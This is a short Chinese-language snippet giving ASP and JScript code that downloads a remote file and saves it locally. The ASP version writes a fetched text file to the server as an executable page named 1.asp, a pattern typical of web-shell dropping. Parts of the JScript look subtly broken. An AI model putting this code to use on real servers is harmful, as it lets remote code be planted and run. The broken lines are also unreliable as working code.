将远程文件下载到本地代码（ASP和JS版）

Set xPost = CreateObject("Microsoft.XMLHTTP")    
xPost.Open "GET","http://127.0.0.1/admin.txt",False  
xPost.Send()    
Set sGet = CreateObject("ADODB.Stream")    
sGet.Mode = 3    
sGet.Type = 1    
sGet.Open()    
sGet.Write(xPost.responseBody)    
sGet.SaveToFile Server.MapPath("1.asp"),2    
set sGet = nothing    
set sPOST = nothing    
response.Write("下载文件成功！<br>")  

var objArgs = WScript.Arguments;    
var sGet= ActiveXObject("ADODB.Stream");    
var xGet = false;    
try {    
xGet = XMLHttpRequest;    
}    
catch (trymicrosoft) {    
try {    
xGet = ActiveXObject("Msxml2.XMLHTTP");    
}    
catch (othermicrosoft) {    
try {    
xGet = ActiveXObject("Microsoft.XMLHTTP");    
}    
catch (failed) {    
xGet = false;    
}    
}    
}    
xGet.Open ("GET",objArgs(0).toLowerCase,0);    
xGet.Send;    
sGet.Mode=3;    
sGet.Type=1;    
sGet.Open;    
sGet.Write (xGet.ResponseBody);    
sGet.SaveToFile (objArgs(1).toLowerCase,2);